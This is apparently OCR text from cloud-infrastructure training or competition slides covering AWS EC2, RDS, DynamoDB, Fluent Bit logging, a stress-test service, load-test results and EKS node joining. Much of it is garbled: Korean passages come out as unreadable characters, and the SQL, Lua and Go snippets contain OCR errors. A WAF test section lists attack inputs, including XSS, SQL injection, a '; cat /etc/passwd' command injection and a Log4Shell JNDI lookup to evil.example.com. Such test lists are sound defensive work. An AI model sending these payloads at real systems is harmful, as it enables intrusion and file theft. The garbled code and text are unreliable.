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Amazon Elastic
Compute Cloud
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What is Amazon EC2?
Get started tutorial
Best practices
» Amazon Machine Images
» Instances
» Fleets
» Networking
» Security

k. EHlAE | | | Epk'l » Storage
. —_— O D x = =¥ . &
» Manage resources
» Monitor resources
» Troubleshoot

Document history

INES | MH[A 7L0|E TR =7 Al 2|22

Documentation Amazon EC2 User Gui

What is Amazon EC2?

® 0| HO|x|= T3t 210{= HAE|X] eit&LICE

wo 24

Amazon Elastic Compute Cloud (Amazon EC2) provides on-demand, scalable computing
capacity in the Amazon Web Services (AWS) Cloud. Using Amazon EC2 reduces
hardware costs so you can develop and deploy applications faster. You can use Amazon
EC2 to launch as many or as few virtual servers as you need, configure security and
networking, and manage storage. You can add capacity (scale up) to handle compute-
heavy tasks, such as monthly or yearly processes, or spikes in website traffic. When
usage decreases, you can reduce capacity (scale down) again.

An EC2 instance is a virtual server in the AWS Cloud. When you launch an EC2 instance,
the instance type that you specify determines the hardware available to your instance.
Each instance type offers a different balance of compute, memory, network, and
storage resources. For more information, see the Amazon EC2 Instance Types Guide.

Generation

Al= 2E A2 SX|(F=2 MEA Lt2:= Overviewr X)

Z2E2 01|

o] m[o]X|ollM
Features
Related services
Access EC2
Pricing

Resources

2 gl aA
Amazon EC2 Instance Types Guide

Amazon EBS User Guide

Amazon EC2 Developer Guide
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User ALB EC2

Secrets Manager

CloudWatch
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Software stack

AWS Language / Framework

- Python
- MySQL

- VPC

- EC2

- ALB
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— u Dashboards » |

Data source | default ~ = Kubernetes « (@) Lastlhour ~ » @ +» Refresh 10s ~ =

-1

CPU Utilisation CPU Requests Commitment CPU Limits Commitment Memory Utilisation Memory Requests Commitment

Memory Limits Commitment

3.62% 92.1% 25.9% 40.8% 28.6% 36.4%

MName Last *
amazon-cloudwatch 0.01894
app 0.0222
kube-system 0.0284

monitoring 0.0592

08:35

CPU Quota

MName , — _l CPU Lim
5.56%
0.0510 24.3%

0.0008M 0.M6%

Memory

1.25 GiB

1GiB
768 MIB
512 MiB

MName

amazon-cloudwatch

app

kube-systemn

Last *

231 MiB

24.7 MiB
320 MiB

256 MiB 3 | e = 0 monitoring 1.1 GiB
0B
09:35 - 09:50
Memory Requests by Namespace

LET P f oads Memory Memory Memory Requests % Mem Lim

1.09 GiB 656 MiB 170% 800 MiB

24.2 MiB 640 MiB 3.78%
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- DB identifier : apdev-rds-instance

ahD 21J1, MOl X0l 25

- Deployment options: Multi-AZ DB instance

- DB instance class: db.t3.micro

- Storage type: General Purpose SSD (gp3)

- Engine : MySQL Comunity 8.0
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CAEATE TABLE user (

id VARGHAR(255)
usernane, VARCHAR(255)
onail VARCHAR(255)
PRIMARY KEY (id),
UNIQUE KEY uk

)

GREATE TABLE product (
id VARCHAR(255)
nane VARCHAR(255)
price FLOAT(8)
image path VARCHAR(500)

PRIMARY KEY (id)

NOT NULL,
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DEFAULT NULL,
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BHLILH

Environnent Key | Data Type etc
WYSOL_USER string requi red
MYSQL PASSHORD string requi red
WSO _HOST string (1P or RS OI1 MR & required
WYSUL_PORI integer | b SI/MIF Jbsel F40l x requi red
MYSOL_DANAE string =2l =l HIOIEYI0I~ OIS (dev) requi red
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inputs: | [FILTER] customParsers: |
[INPUT] Name log_to_metrics [PARSERI]
Name tail Match app.*
Tag app.* Tag app_metrics
Path /var/log/containers/wsc2026-book—*_wsc2@826_*. log
multiline.parser cri

Name applog

Format logfmt
metric_mode histogram

label_field node
metric_name http_request_duration_seconds
filters: | metric_description Request duration in seconds
[FILTER] value_field duration_sec
Name parser label_field path

luaScripts:
enrich. lua: |
local NODE = os.getenv("NODE_NAME") or “na"
function enrich(tag, ts, record)

local n, u = string.match(record["duration"] or "", "~([%d%.]+)(.+)%")
if n then

Match app.*
Key_Name log [FILTER]
Parser applog Name grep

Reserve_Data On Match app.*
Regex path ~/vl/book

local v = tonumber{n)

if u = "s" then v = v

elseif u == "ms" then v = v / 1000

else v = v [/ 1000000 end
record["duration_sec"] = v

[FILTER]

end

[FILTER]

Name grep
Name lua

local code = tonumber{record["status"] or "") or @
Match app.*

script /fluent-bit/scripts/shape.lua local level = “INFY
if code >= 588 then level = “ERROR"
call shape
elseif code >= 400 then level = "WARN" end
outputs: | record["level”] = level

Match app.=* [OUTPUT] record ["node"] = NODE
script /fluent-bit/scripts/enrich.lua Name cloudwatch_logs return 2, ts, record

call enrich Match app.* end

region ap-northeast-2 shape.lua: |

log_group_name /wsc2026/book/application function shape(tag, ts, record)
log_stream_prefix app- local out = {

Match app.* auto_create_group true level = record["level"],
Tag app_metrics path = record["path"],
metric_mode counter [oUTPUT] status = record["status"],

Match app.*
Exclude path ~/health$

[FILTERI]
Name lua

[FILTER]
Name log_to_metrics

label_field node

metric_name http_requests_total
metric_description Total HTTP requests
label_field status

label_field method

Name prometheus_remote_write

Match app_metrics

Host kps—-Kkube-prometheus-stack-prometheus.observability.svc
Port 9098

Uri fapi/vl/write

end

duration = record["duration"],
method = record["method"],

¥

return 2, ts, out




inputs: |
[INPUT]
Name tail
Tag app.*
Path /var/log/containers/wsc2026-book—*_wsc2826_x.log
multiline.parser cri

[FILTER]
Name log_to_metrics
Match app.*
Tag app_metrics
metric_mode histogram
label_field node

customParsers: |
[PARSER]
Name applog
Format logfmt

luaScrints:

0|7 HEHOIA Al =2 10| ZHaioHH 2. .

, record)
.
Key_Name log

80|71 =X EMAE X

Reserve_Data On I
Regex path */vl/book

filters: |

[FILTER]
Name parser
Match app.*

local n, u = string.match{record["duration"] or ", "~([%d%.]+}{.+)%")
if n then
local v = tonumber({n)
if u = "s" then v = v
elseif u == "ms" then v =
else v = v / 1000000 end
record["duration_sec"] = v

v / 1000

[FILTER]

[FILTER]
Name grep

Name lua

Match app.*

script /fluent-bit/scripts/shape.lua
call shape

end
local code = tonumber(record["status"] or
local level = "INFO"
if code == 500 then level = "ERROR"
elseif code >= 488 then level = "WARN" end
outputs: | record["level”] = level
[OUTPUT] record [“node"] = NODE
Name cloudwatch_logs return 2, ts, record
Match app.* end
region ap-northeast-2 shape.lua: |
log_group_name /wsc2026/book/application function shape(tag, ts, record)
log_stream_prefix app- local out = {
auto_create_group true level = record["level"],
path = record["path"],
[oUTPUT] status = record["status"],

Match app.* "'} or @
Exclude path ~/health$

[FILTER]
Name lua
Match app.=*
script /fluent-bit/scripts/enrich. lua
call enrich

[FILTER]
Name log_to_metrics
Match app.*
Tag app_metrics
metric_mode counter

label_field node

metric_name http_requests_total
metric_description Total HTTP requests
label_field status

label_field method

Name prometheus_remote_write
Match app_metrics

Host kps—kube-prometheus-stack-prometheus.observability.svc
Port 9898

Uri /api/vi/fwrite

end

duration = record["duration"],
method = record["method"],

¥

return 2, ts, out
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ec2 run-instances \

——image—-id ami-0c55b159cbfafelfo \
——instance-type t3.micro \

——count 1 \

——key-name MyKeyPair \

——security—-group-ids sg-0123456789abcdef0 \

——subnet-id subnet-0123456789abcdef0 \
—tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=MyCLIInstance}]"
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002-iam.sh
003-vpc.sh
004-dynamodb.sh
005-ecr.sh

006-ecr-build-push.sh

007-s3.sh
008-lambda.sh
009-waf.sh
010-eks-cluster.sh
011-app-deploy.sh
012-alb.sh
013-monitoring.sh
014-cloudfront.sh
015-finalize.sh
999-teardown.sh
run-all.sh

cloudfront

ecr

eks

iam

001-kms.sh

Xk F=Lh=| 7} O|ZA| 2|9 E[=AHHK?

1 #!/usr/bin/env bash
set —euo pipefail

cd "$(dirname "$0")":

J2HA Terraform CHAI Shell A3 EE

oFf A Ol
T AAL

mkkev()d{

+ Terraform2]

source ./000—-env.sh
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3. DynamoDB

Lambda(ilAl A clst st AN [{OIHE MAGH)| st DynamoDB HIOIE2ES *ASLICH. x& Al DynamoDBC|
CE HOIHE 2tHoHOILICH. M= Hel =28 oY HOIZ2 HIOIEHE 25 2fHMoHOF SLICH. & Al
AAl HH oY HOIZC HIOIEHIE KT FA=X 2215k, GI0IEIE EMstOH HI0IH M2l st x4

Ol

8 =02 1-1i} 1-5, 1-6 = 25 sd¢ A=z 2t=& UL, OIOIEJF 8l=Hl &2l =HUE as ddsL
Ct.

* Table Name : wscZ2026-student—-score

* Key . (PK : studentld) (SK : examDate)

A=El PKRE SKRIMl= CHE KeyScheme= R AOHAl 2 SLUICEH.
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M7|(stress) o 7HM

Server tt [ stress 4

7|1Z2| stress W2 CPU ZET E2|= +F0|24t, Of2i2t Z0] FHME,

type req struct {
CPU int “json:"cpu
MemMB int "json:'"mem_mb"®
HoldMS int “json:"hold_ms"®
RespKB int “json:"resp_kb""

CPU T35 ¥ae|E

SHA256 slfe)E cpulterations 22 EH5gt. CHS APIHIAEO|M cpu=90000 (&

2 5518 FE 8.

cpulterations := request.CPU
if cpulterations == 0 {
if defaultCPU > 0 {
cpulterations =

} else {
cpulterations request.Length * defaultCPUFactor

defaultCPU

b
}
if cpulterations < @ { cpulterations = 0 }
hash := sha256.Sum256([]lbyte("apdev-stress"))
for i := 0; i < cpulterations; i++ {

hash = sha256.Sum256(hash[:])
b

runtime.KeepAlive (hash)




Stress [ S 7|5 £i2|2 DB A/, 718

02 AlL2|RE E2|HA 2 AlLt2| 0| Cigh 28 [ S Zat, Az TE =EL Pod2| HSHAIAE)E 7|

2 =
= =
25T 2 510] 25 2AA| A
HHOH
=

£ 5112, S30]

=71

CREATE TABLE IF NOT
id
run_ts
bp_study
label

hpa_cpu_target
hpa_mem_target
hpa_min

hpa_max
stress_hpa_min
stress_hpa_max
hpa_scaleup_stab
hpa_scaledown_sta
consolidate_after
consolidation_pol
pod_cpu_req
pod_cpu_1lim
stress_cpu_req
stress_cpu_lim
sys_nodes

workers
load_seconds

FRE 4 QI0{0kE}. DBE ZHEHSE7| SQLite AFR. Python PandasE E3f TAISE

EXISTS scenarios (
INTEGER PRIMARY KEY AUTOINCREMENT,
TEXT NOT NULL,
TEXT NOT NULL,
TEXT NOT NULL,

INTEGER,
INTEGER,
INTEGER,
INTEGER,
INTEGER,
INTEGER,
INTEGER,

b  INTEGER,
TEXT,

icy TEXT,
TEXT, pod_mem_req TEXT,
TEXT, pod_mem_lim TEXT,
TEXT, stress_mem_req TEXT,
TEXT, stress_mem_lim TEXT,
INTEGER,

INTEGER,
INTEGER,




y  4-8. 02| I8 3XL O|FA Li2&2 o

311X Detail

3utH| 2A17t ti2] S ST el=clet 4% L E.

2026'd_H=CHE|_32tA|_EX|X|_v1.0.0.pdf 238.1kiB

2026'd_HM=CHS|_3atA|_xF7|FH_v1.0.0.pdf 517.4 kiB

[ Stress /&3 7|= 22| DB A7, 713
D) 3t 27| (stress) H 7HM
D) MHE 2A3YE () ¥ (Deprecated)

[ Part A. &I C}5 4 RSt EAE

[3) Part B-1. DB X3} (Part A0l 2/7)

[3) Part B-2. DB £[X3} (Many Records)

(D) Part C. AlAE] 3tA|(RPS) Z7t

[ Part D. ¥l Ck5 R 225} HAE MAIS (Part COll 2|74)

[3) Part E. CloudFront 714 M3} (H8H : negative caching)
[3) PartF. Product S3 ¥2E (X3} (VPCE vs NAT)

Z 2 (Deprecated)

(D) Part G. Z| X3t 2|Z DfLIHAE

(D) PartH. 28l/SH Eejgl HIAE

=
0|2 HIELO 2 IH Lt o1 ZIgH
%|x{o] ol matE oo 7y,
(RpM[SH LIRS %3 E7HU5 0| M)



ol
—

&= OWASP Top 100|M XM|=ot= EIAEE 10| 2= HObA

Ab: Ol Li=&2 o

cat: bodyinj

path: /v1/product

method: POST

ctype: application/json

body: '{"name":"<script>alert(1)</script>"}"
l: 2

cat: bodyinj

path: /v1/product

method: POST

ctype: application/json

body: "{"id":"1''/#x/UNION/**/SELECT/*x*/1"}"
vl: 2

cat: bodyinj

path: /v1l/product

method: POST

ctype: application/json

body: '{"cmd":"; cat /etc/passwd"}'

vl: 3

cat: bodyinj

path: /v1/product

method: POST

ctype: application/json

body: '{"x":"${jndi:ldap://evil.example.com/a}"}"

Xl

L

SH
o

ot
o




mark_v4 7|= H|

Refs: v30i M S20|HES| Bt = Fat & I CIRE 25 (0] 32 status 022 7|50 Chal 1F Z=tol
S O|R|TA YESIA| A 2H|17F AU S0 chs ~H=E Lol va HE. (T2iA o] EAES|
M E=7t O[5t LEH tiRE oiE =2CHH O AMEE DB § 2/% 2210 2f
§F AIAEIS| 517, ¢ MF|Z CPU AL E _LP 7?—8’3 SO X =2 AAS. &)

EESH A|ARIO|M Sxx O2{S HHEHSICHH B2 AJARIC| 2H|2 1, A|ARS| SE0| OlF2| 7|CHHE 2X| ¢
= F2 2351 2MT|of|M 23 XIS ELiX| 28 222 ®EL (CloudFront2t ALB2| Origin Timeout0| 7|
m20]| 7|CH2|H 5xxEl= 2= Ha)

B2 HAE AlZte = HAE (200~1200)

Bl & phasesE H|Q|§t 2 E 52 set_m_1at 3. A[ZI2 382

stress_length=750
weights: user=300, product=200, stress=50, image=50, exception=5

Pods: user=3, product=6, stress=25 (3 nodes)

target_rps  AA| user RPS A product  &H| stress RPS  user av/pf product av/pf stress av/pf
RPS

200 99.2 66.1 16.5 100 /100 100 / 97 100 /100
300 148.8 99.2 24.8 100 /100 100/ 95 100 /100
400 198.3 132.2 33.1 100 / 99 100/84 (B-1)  100/99
500-a 247.9 165.3 M3 100/98 100 /76 100 /99
500-b 2479 165.3 M3 100 / 97 97/73 100 /99
650 3223 214.9 ‘ 100 /100 100/ 74 100 /100
800-a 396.7 264.5 : 100/ 96 50/29(B-2)  100/98
800-b 396.7 264.5 ! 100 /96 51/30 100 / 98
900 446.3 2975 : 100/ 95 3621 100 /99
1000 495.9 3306 | 100 / 94 40/26 100 / 97

1100 545.5 363.6 ! 100 /89 (A) 40 /27 100/ 80 (C)

client 0
(53t 8HAl)

0

0

0

4099 (D)
3920
6971
9527

11865

user CPU
avg/max

141/ 17.7%

19.4 [ 24.3%
23.6 /29.0%
26.9 /33.3%
267/ 38.3%
31.0 /38.7%
39.0/ 46.0%
39.1/44.7%
35.0 / 48.3%
38.8/52.7%

40.5 | 55.3%

product CPU
avg/max

8.2/10.5%

12.4[19.3%
15.0/19.3%
17.6 [ 23.5%
18,5/ 24.0%
23.1/29.8%
31.6 / 37.5%
33.0/38.3%
29.2 / 39.5%
321/ 42.3%

34.3/44.3%

stress CPU
avg/max

15.6 /19.7%
23.4/29.1%
31.9/38.2%
39.0 / 48.3%
401/ 47.7%
52.6 [ 61.9%
64.7 [ 76.1%
67.9/76.5%
62.9 / 85.2%

71.0 / 95.0%

77.6 /105.2%



4-8. CH2| & 3LX;: O|FAAH| Li=E;

0
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AL

#y =cof A gt 7Hs8 user/product Gt Hrf =coflM 8T 7HsE stress THE

3

21 Ell A E = 0|7 BIOIE OILERX| Q871" 2Hs 2FOR A2 T O whAA| 262t

e 125%

100% II]'

75% |

0% L .,..j-. | L | DN I ] J
18:00 19:00 20:00 21:00 00:00 £ 15:00 16:00 17:00 18:00 19:00 20:00

== product == stress == == product == stress == user

=% CPU AR E % (HE/H|E) S4AE CPU MEE %

2 . L ]

15:00 16:00 17:00 18:00 19:00 20:00 21:00 22:00 23:00 00:00 : : A
= 19268108.29:9100 == 192.168.118.48:9100 == 192.168.129197:9100 == 192.168.179.236:9100 = 192.168.33.163:9100 16:00 17:00 18:00 19:00 20:00 21:00 22:00 23:00  00:00 01:00
— 192.168.37.78:9100 — 192.168.98.77:9100




#y =cof A gt 7Hs8 user/product Gt Hrf =coflM 8T 7HsE stress THE

3

?J'E CPU HRFE %

11
| i 11
S | v

18:00 19:00 20:00 z 22:00 23: 00:00 - i 15:00 16:00 17:00 - 19:00 20: : g 23: 00:00 01:00

== product == Stress == LU — prusuLL e s —

=% CPU AR E % (HE/H|E) S4AE CPU MEE %

15:00 16:00 17:00 18:00 19:00 20:00 21:00 22:00  23:00  00:00 01:00 02:00 . e e
— 192168.108.29:9100 = 192.168.118.46:9100 = 192.168.129197:9100 = 192168.179.236:9100 = 192.168.33.163:9100 : 16:00 17:00 18:00 19:00  20:00 : : 23:00  00:00  01:00
216

- 19 8.37.78:9100 192.1€8.98.77:9100




4-8. Ol=| I 3A): O|F A Ltaa2 ol Z3=0..

Y =c0fA &t JHs$t user/product Bt B =cofA & IHsE stress E

3 .I I|  —

21 Bl A E = 0|7 BIOIE OILERX| QS7I?" 2Hs 2FOR A2 T O A ZH|2t

30

15:00 16:00 17:00 18:00 19:00 20:00 21:00 ] i 15:00 16:00 17:00 18:00 19:00 : 22: 23:00 00:00

== product == stress == user ms product == Stress == user

=% CPU AR E % (HE/H|E) S4AE CPU MEE %

15:00 16:00 17:00 18:00 19:00 20:00 21:00 22:00 23:00 00:00 -
== 192.168.108.29:9100 == 192.168.118.48:9100 == 192.168.129.197:9100 == 192.168.179.236:9100 192.168.33.163:9100 18:00 19:00 20:00 21:00 22:00 23:00 00:00 01:00
== 192.168.37.78:9100 192.168.98.77:9100
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Requests
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t=420

t=480
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Requests

500
400
300
200

100
100

100

2 32AR O|ZA Li=zE2 Ol X=d
200 200
150
100 100
50
t=60 t=120 t=180 t=240 t=300 t=360

O Atz FAl (=F)

t=420

20

t=480

500

500

t=540

t=600
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Requests

500

400

300

200

100

C|Ol
o =

t=60

32X} Of

t=120

H| OO =HR7? =

t=180

t=240 t=300 t=360

2| CHe| FA| (F=3)

t=420

t=480

t=540

t=600
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Requests

300,000

H| X5 HO0| =027 =

200,000

100,000

t=0 t=60 t=120 t=180 t=240 t=300 t=360 t=420 t=480 t=540 t=600

oll 4401 Y £ = LIQZIX|?)
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Requests

300,000

200,000

100,000

t=0 t=60 t=120 t=180 t=240 t=300 t=360 t=420 t=480 t=540 t=600

AR 2] ZAl (FF) @04 (0I¥EE= LIX]?)
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<
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1 =] E AIF2| EKS HEE S2(2100] Join A|AHAFH k=127

U A1 1 (2R AH) ) 7iE 2 (CHEl 8 AF)

fH1- s @&

EC2 for EKS Node EKS Control Plane
EC2 .t ¢1A2 X gi0| 7t=. H| o=
(Best Practices [t AFX|CH) (FZA A& Q| EC2 742 EHitst= o2 HOojE)

Ot 27 = AL 2R Z2 2 ++240] 7hstt et A48 ALY
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7?77 CHE AFO| EC2& a0 &1 =8 AlES] EKS TAE S =212/01 Join A|AFH CHE7??

—|I'I

A 1 (2R AE) A 2 (Chel AE)
kubeadm
< Join >
EC2 for EKS Node EKS Control Plane
EC2 == 9172 27| glo| 7}s. MR
(Best Practices [H2l AFX|CH (= A" EC2 7= ETHSH= A= HOE

EC2 QIAEIA Jl=0F H=2| OFl EKS XFA|Q| (L E

Of= EH7t = HA0LH N[22 1240] Ittt et AR UL
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